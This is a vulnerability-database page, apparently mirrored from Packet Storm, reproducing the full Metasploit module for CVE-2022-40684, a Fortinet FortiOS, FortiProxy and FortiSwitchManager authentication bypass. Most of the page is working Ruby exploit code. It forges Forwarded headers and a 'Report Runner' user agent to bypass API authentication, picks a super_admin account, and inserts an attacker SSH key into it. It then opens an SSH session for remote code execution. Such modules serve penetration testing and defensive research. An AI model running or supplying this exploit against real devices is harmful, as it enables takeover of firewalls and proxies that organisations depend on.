Lucene search
K

Fortinet FortiOS / FortiProxy / FortiSwitchManager Authentication Bypass

🗓️ 19 Oct 2022 00:00:00Reported by Heyder Andrade, Zach Hanley, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 413 Views

Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass. Module exploit authentication bypass vulnerability to gain access and add SSH key for remote code execution.

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::SSH  
prepend Msf::Exploit::Remote::AutoCheck  
  
attr_accessor :ssh_socket  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability  
in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API  
to gain access to a chosen account. And then add a SSH key to the  
authorized_keys file of the chosen account, allowing  
to login to the system with the chosen account.  
  
Successful exploitation results in remote code execution.  
},  
'Author' => [  
'Heyder Andrade <@HeyderAndrade>', # Metasploit module  
'Zach Hanley <@hacks_zach>', # PoC  
],  
'References' => [  
['CVE', '2022-40684'],  
['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'],  
['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'],  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2022-10-10', # Vendor advisory  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Privileged' => true,  
'Targets' => [  
[  
'FortiOS',  
{  
'DefaultOptions' => {  
'PAYLOAD' => 'generic/ssh/interact'  
},  
'Payload' => {  
'Compat' => {  
'PayloadType' => 'ssh_interact'  
}  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS,  
ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file  
]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']),  
OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]),  
OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]),  
OptString.new('KEY_PASS', [false, 'SSH private key password', nil]),  
OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]),  
OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true])  
]  
)  
end  
  
def username  
if datastore['USERNAME']  
@username ||= datastore['USERNAME']  
else  
@username ||= detect_username  
end  
end  
  
def ssh_rport  
datastore['SSH_RPORT']  
end  
  
def current_keys  
@current_keys ||= read_keys  
end  
  
def ssh_keygen  
# ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`  
if datastore['PRIVATE_KEY']  
@ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key(  
File.read(datastore['PRIVATE_KEY']),  
datastore['KEY_PASS'],  
datastore['PRIVATE_KEY']  
)  
else  
@ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1')  
end  
end  
  
def ssh_private_key  
ssh_keygen.to_pem  
end  
  
def ssh_pubkey  
Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)  
end  
  
def authorized_keys  
pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)  
"#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost"  
end  
  
def fortinet_request(params = {})  
send_request_cgi(  
{  
'ctype' => 'application/json',  
'agent' => 'Report Runner',  
'headers' => {  
'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\""  
}  
}.merge(params)  
)  
end  
  
def check  
vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")  
# a normal request to the API should return a 401  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),  
'ctype' => 'application/json'  
})  
  
return CheckCode::Unknown('Target did not respond to check.') unless res  
return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401  
  
# Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable  
res = fortinet_request({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/system/status')  
})  
  
return CheckCode::Safe unless res&.code == 200  
  
version = res.get_json_document['version']  
  
print_good("Target is running the version #{version}, which is vulnerable.")  
  
Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }  
  
CheckCode::Vulnerable('And SSH is running which makes it exploitable.')  
end  
  
def cleanup  
return unless ssh_socket  
  
# it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method  
data = {  
"ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""'  
}  
  
fortinet_request({  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, '/system/admin/', username),  
'data' => data.to_json  
})  
end  
  
def detect_username  
vprint_status('User auto-detection...')  
res = fortinet_request(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/system/admin')  
)  
users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact  
# we prefer to use admin, but if it doesn't exist we chose a random one.  
if datastore['PREFER_ADMIN']  
vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.")  
users.include?('admin') ? 'admin' : users.sample  
else  
vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.")  
(users - ['admin']).sample  
end  
end  
  
def add_ssh_key  
if current_keys.include?(authorized_keys)  
# then we'll remove that on cleanup  
print_good('Your key is already in the authorized_keys file')  
return  
end  
vprint_status('Adding SSH key to authorized_keys file')  
# Adding the SSH key as the last entry in the authorized_keys file  
keystoadd = current_keys.first(2) + [authorized_keys]  
data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h  
  
res = fortinet_request({  
'method' => 'PUT',  
'uri' => normalize_uri(target_uri.path, '/system/admin/', username),  
'data' => data.to_json  
})  
fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500  
body = res.get_json_document  
fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/  
end  
  
def read_keys  
vprint_status('Reading SSH key from authorized_keys file')  
res = fortinet_request({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/system/admin/', username)  
})  
fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200  
result = res.get_json_document['results'].first  
['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|  
result[key].gsub('"', '') unless result[key].empty?  
end.compact  
end  
  
def do_login(ssh_options)  
# ensure we don't have a stale socket hanging around  
ssh_options[:proxy].proxies = nil if ssh_options[:proxy]  
begin  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)  
end  
rescue Rex::ConnectionError  
fail_with(Failure::Unreachable, 'Disconnected during negotiation')  
rescue Net::SSH::Disconnect, ::EOFError  
fail_with(Failure::Disconnected, 'Timed out during negotiation')  
rescue Net::SSH::AuthenticationFailed  
fail_with(Failure::NoAccess, 'Failed authentication')  
rescue Net::SSH::Exception => e  
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")  
end  
  
fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket  
end  
  
def exploit  
print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}")  
add_ssh_key  
vprint_status('Establishing SSH connection')  
ssh_options = ssh_client_defaults.merge({  
auth_methods: ['publickey'],  
key_data: [ ssh_private_key ],  
port: ssh_rport  
})  
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
do_login(ssh_options)  
  
handler(ssh_socket)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation